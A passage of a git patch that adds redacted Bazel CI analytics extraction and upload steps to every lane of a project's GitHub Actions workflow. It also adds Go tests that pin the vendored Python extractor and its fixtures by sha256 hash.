manufacture on its own. Ignored for every other + // Type. + HasSpawner bool + // ThreadID carries conversation-threading metadata (e.g. a replies-to + // edge's originating thread) onto the created dependency row. Empty means + // the edge carries none; it is a plain column, not part of Metadata's + // type-specific blob. + ThreadID string } // ApplyItem is ONE item of a batch: a kind plus exactly one member matching it. From 57e86a2f0d57e69a3f1f4b10bb8f89d0f5397c75 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 09:07:24 +0000 Subject: [PATCH 038/213] ci(bazel): add CI analytics extraction to all lanes (S3) (#7356) tools/bazel/ci_analytics_extract.py turns a lane's BEP file, compact execution log and JSON profile into a redacted ci-analytics-summary (timing, per-mnemonic cache classes, cold actions, test results, repo-fetch time): only validated labels, mnemonics, enums and numbers leave the runner, never an endpoint, cert/key path, env value, token or hostname. Every lane's "CI analytics summary" step runs the extractor and uploads its output as ci-analytics-- (7-day retention); CHECK_RUN_ID uses the real job.check_run_id context (requires actionlint >= 1.7.8), and both the summary and upload steps are continue-on-error, the summary capped at timeout-minutes: 3, and both gated on !cancelled() (not always(), which also runs after a workflow cancellation). The extractor, its 62-case unittest file, and testdata/ci_analytics/ (the real/* Bazel 9.2.0 fixtures, poisoned-bep.json, mismatch.bep.jsonl and regen.sh) are vendored byte-identical from gascity's ci/analytics-extractor slice (final squashed commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), which is canonical for this pair the same way tools/rbe/cache-zstd-probe.sh is a byte copy. Fixtures are regenerated under env -i with every BEP field stripped unless it's on an explicit allowlist, and the compact exec log is committed decompressed (*.binpb) rather than as a zstd frame, so nothing opaque reaches version control. scripts/ci_analytics_extract_test.go is the thin Go wrapper: TestCIAnalyticsExtractorIsPinnedToGascity pins both vendored files' sha256 so local drift is caught, and TestCIAnalyticsExtractUnitTests runs gascity's unittest file in place. scripts/ci_analytics_workflow_test.go's TestCIAnalyticsStepsAreSafeAndBounded mirrors gascity's pin test, adapted to beads' 8 separately-named lane jobs: continue-on-error, timeout-minutes bounds, no raw ${{ }} expression in run:, !cancelled() required in if:, correct per-lane upload artifact name/path, and CHECK_RUN_ID == ${{ job.check_run_id }}, for every lane. Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 315 +++- scripts/BUILD.bazel | 2 + scripts/ci_analytics_extract_test.go | 150 ++ scripts/ci_analytics_workflow_test.go | 282 ++++ scripts/ci_merge_queue_test.go | 13 + scripts/ci_workflow_test.go | 62 +- scripts/pr_lanes_bazel_coverage_test.go | 24 +- tools/bazel/ci_analytics_extract.py | 1276 +++++++++++++++ tools/bazel/ci_analytics_extract_test.py | 1429 +++++++++++++++++ .../testdata/ci_analytics/mismatch.bep.jsonl | 3 + .../testdata/ci_analytics/poisoned-bep.json | 8 + .../testdata/ci_analytics/real/cold-bep.json | 12 + .../ci_analytics/real/cold-exec.binpb | 549 +++++++ .../ci_analytics/real/cold-profile.json | 170 ++ .../ci_analytics/real/postclean-bep.json | 12 + .../ci_analytics/real/postclean-exec.binpb | 567 +++++++ tools/bazel/testdata/ci_analytics/regen.sh | 325 ++++ 17 files changed, 5186 insertions(+), 13 deletions(-) create mode 100644 scripts/ci_analytics_extract_test.go create mode 100644 scripts/ci_analytics_workflow_test.go create mode 100644 tools/bazel/ci_analytics_extract.py create mode 100644 tools/bazel/ci_analytics_extract_test.py create mode 100644 tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl create mode 100644 tools/bazel/testdata/ci_analytics/poisoned-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-exec.binpb create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-profile.json create mode 100644 tools/bazel/testdata/ci_analytics/real/postclean-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb create mode 100755 tools/bazel/testdata/ci_analytics/regen.sh diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 4b74bd4a0..44f3de19a 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -785,6 +785,8 @@ jobs: bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" echo >> "$GITHUB_STEP_SUMMARY" @@ -919,6 +921,42 @@ jobs: path: ${{ runner.temp }}/bazel-ci-cache key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + # A redacted, schema'd summary of this invocation's BEP, exec log and + # profile: timing, per-mnemonic cache classes, cold actions, test + # results, repo-fetch time. tools/bazel/ci_analytics_extract.py reads + # only a field whitelist and validates every emitted string, so this + # (unlike the raw BEP file) is safe to upload unredacted; see its + # module docstring. Mirrors gascity's ci/analytics-extractor lane step. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: test + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-test-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -994,9 +1032,14 @@ jobs: RBE_FORK_PR: ${{ github.event.pull_request.number }} - name: Run js/wasm hook boundary + id: build-wasm run: | set -euo pipefail - bazel build --config=js-wasm //internal/hooks:hooks_test + bazel build --config=js-wasm //internal/hooks:hooks_test \ + --profile="$RUNNER_TEMP/bazel-profile-build-wasm.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-build-wasm.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-wasm.log.zst" \ + --experimental_build_event_upload_strategy=local bin="$(bazel cquery --config=js-wasm --output=files //internal/hooks:hooks_test)" cd internal/hooks @@ -1036,12 +1079,17 @@ jobs: fi - name: Build cmd/bd and pure-Go test binaries (--config=pure) + id: build-pure run: >- bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test + --profile="$RUNNER_TEMP/bazel-profile-build-pure.json" + --build_event_json_file="$RUNNER_TEMP/bazel-bep-build-pure.json" + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-pure.log.zst" + --experimental_build_event_upload_strategy=local # Every release target (scripts/ci/release-targets.txt) on every PR, so # a platform-gating mistake is caught here instead of at tag time @@ -1063,28 +1111,81 @@ jobs: # starts in the next step. -test.run=^$ runs no test (TestMain still # runs; BEADS_TEST_SKIP=dolt keeps tracker's from starting a container). - name: Start every pure-Go artifact (gozstd contamination check) + id: test-pure run: | set -euo pipefail + # Not instrumented: no BEP/exec-log/profile is captured for this + # one-off smoke invocation (design's bazel-pure invocation list + # names build-wasm, build-pure, test-pure and test-bd only). bazel run --config=pure //cmd/bd:bd -- version bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ '--test_arg=-test.run=^$' \ - --test_env=BEADS_TEST_SKIP=dolt + --test_env=BEADS_TEST_SKIP=dolt \ + --profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \ + --experimental_build_event_upload_strategy=local # One unsharded process, like `go test -run`; the test.xml check keeps a # selector that matches nothing from passing. - name: Run pure-Go cmd/bd test subset (--config=pure) + id: test-bd run: | set -euo pipefail bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ - "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" \ + --profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \ + --experimental_build_event_upload_strategy=local n="$(grep -c ' 0 )) + # A redacted, schema'd summary of this job's four BEP-tracked + # invocations (build-wasm, build-pure, test-pure, test-bd; `bazel run + # ... -- version` above is deliberately not tracked, see its comment). + # Same contract as bazel-test's step; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled()" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: pure + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + args=() + for step in build-wasm build-pure test-pure test-bd; do + bep="$RUNNER_TEMP/bazel-bep-$step.json" + [ -f "$bep" ] || continue + args+=(--invocation "$step" "$bep" "$RUNNER_TEMP/bazel-exec-$step.log.zst" "$RUNNER_TEMP/bazel-profile-$step.json") + done + [ "${#args[@]}" -gt 0 ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + "${args[@]}" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-pure-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1198,6 +1299,9 @@ jobs: rc=0 bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1239,6 +1343,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: embedded + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-embedded-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1341,6 +1476,9 @@ jobs: fi bazel test //... --config=integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1366,6 +1504,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: integration + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-integration-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1431,7 +1600,12 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1447,6 +1621,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: doltserver + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-doltserver-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1562,6 +1767,9 @@ jobs: rc=0 bazel test //... --config=doltserver-proxied ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1593,6 +1801,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: proxied-server + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-proxied-server-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1673,6 +1912,9 @@ jobs: rc=0 bazel test //... --config=doltserver-integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1715,6 +1957,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: server-storage + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-server-storage-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1797,6 +2070,9 @@ jobs: rc=0 bazel test //... --config=doltserver-cmd ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-cmd: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1820,6 +2096,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: cmd-dolt + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-cmd-dolt-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too; job.status is the steps' status, unaffected by the diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index cfaad6e93..c6c4caa81 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -28,6 +28,8 @@ go_test( "check_testing_short_test.go", "check_winget_portable_alias_test.go", "ci_actions_policy_test.go", + "ci_analytics_extract_test.go", + "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", "ci_capability_selector_test.go", "ci_f7b_review_test.go", diff --git a/scripts/ci_analytics_extract_test.go b/scripts/ci_analytics_extract_test.go new file mode 100644 index 000000000..db5fc463b --- /dev/null +++ b/scripts/ci_analytics_extract_test.go @@ -0,0 +1,150 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sort" + "testing" +) + +// ciAnalyticsExtractScript and ciAnalyticsExtractUnitTest are a byte copy of +// gascity's tools/bazel/ci_analytics_extract.py and +// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extractor, +// gascity commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac, the final +// squashed-to-one-commit history superseding 32d51ce26a and the original +// 9104311a8a after the S2 review found the first cut's real/*-bep.json +// fixtures leaked operator env: a token, SSH IPs, the OpenBao address, the +// hostname and home paths. The fixtures are generated under env -i and +// committed with the compact exec log decompressed (*.binpb), never a +// zstd frame, so nothing opaque reaches version control), the same way +// tools/rbe/cache-zstd-probe.sh is a byte copy. gascity is canonical for +// this pair; TestCIAnalyticsExtractorIsPinnedToGascity below pins both +// files' sha256 so a local edit here is caught instead of silently +// drifting out of lockstep. The vendored test file's own 62 cases (run in +// place by TestCIAnalyticsExtractUnitTests) now include the +// mismatched-invocation-id and truncated-BEP cases beads originally added +// (test_beads_mismatch_fixture_reports_mismatch, +// test_truncated_last_line_sets_bep_truncated), so no separate Go-side +// duplicate of either remains here. +func ciAnalyticsExtractScript(root string) string { + return filepath.Join(root, "tools", "bazel", "ci_analytics_extract.py") +} + +func ciAnalyticsExtractUnitTest(root string) string { + return filepath.Join(root, "tools", "bazel", "ci_analytics_extract_test.py") +} + +func ciAnalyticsTestdataDir(root string) string { + return filepath.Join(root, "tools", "bazel", "testdata", "ci_analytics") +} + +// ciAnalyticsExtractSHA256 and ciAnalyticsExtractUnitTestSHA256 pin the +// vendored files' content, computed from gascity's final sanitized, +// squashed-to-one-commit history at 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac. +const ( + ciAnalyticsExtractSHA256 = "6bb912b17faac59a12ec53f71fbfbedfecc503037b6f5954e878d108abaae44f" + ciAnalyticsExtractUnitTestSHA256 = "e833e1c961010cd02189afaef273a261a54ccabe916b03bae3115177378a405b" + // ciAnalyticsTestdataSHA256 pins testdata/ci_analytics/** as a whole + // (regen.sh, mismatch.bep.jsonl, poisoned-bep.json and real/*): a sha256 + // over every file's slash-joined relative path and bytes, each + // NUL-terminated, sorted by path (ciAnalyticsTreeSHA256 below) - + // computed the same way over gascity's 00161373bc tree and confirmed + // identical, so this one hash catches a dropped, renamed or + // individually-edited fixture that a single-file sha256 (the two + // above) can't. + ciAnalyticsTestdataSHA256 = "dc9ac595df095ef8fe1b965d0e2a8d0b0e5694c3122208891d27655bcc2285d5" +) + +// ciAnalyticsTreeSHA256 hashes every regular file under dir: each entry +// contributes its dir-relative, slash-joined path, a NUL, its bytes and a +// NUL, in path-sorted order, so the result depends on the exact set of +// files present (not just their union of bytes) and is independent of the +// OS's directory-walk order. +func ciAnalyticsTreeSHA256(t *testing.T, dir string) string { + t.Helper() + var paths []string + if err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + return nil + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return err + } + paths = append(paths, filepath.ToSlash(rel)) + return nil + }); err != nil { + t.Fatalf("walking %s: %v", dir, err) + } + sort.Strings(paths) + + h := sha256.New() + for _, rel := range paths { + raw, err := os.ReadFile(filepath.Join(dir, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("reading %s: %v", rel, err) + } + h.Write([]byte(rel)) + h.Write([]byte{0}) + h.Write(raw) + h.Write([]byte{0}) + } + return hex.EncodeToString(h.Sum(nil)) +} + +// TestCIAnalyticsExtractorIsPinnedToGascity fails the moment either vendored +// file is edited locally without also updating the pin (and, ideally, +// upstreaming the change to gascity first): the design treats gascity as +// canonical for this pair, like cache-zstd-probe.sh. +func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { + root := sourceRepoRoot(t) + for _, tc := range []struct { + path string + want string + }{ + {ciAnalyticsExtractScript(root), ciAnalyticsExtractSHA256}, + {ciAnalyticsExtractUnitTest(root), ciAnalyticsExtractUnitTestSHA256}, + } { + raw, err := os.ReadFile(tc.path) + if err != nil { + t.Fatalf("reading %s: %v", tc.path, err) + } + sum := sha256.Sum256(raw) + if got := hex.EncodeToString(sum[:]); got != tc.want { + t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + "either this file drifted from gascity's canonical copy, or gascity changed it "+ + "and this pin (and the vendored copy) needs updating to match", tc.path, got, tc.want) + } + } + + testdataDir := ciAnalyticsTestdataDir(root) + if got := ciAnalyticsTreeSHA256(t, testdataDir); got != ciAnalyticsTestdataSHA256 { + 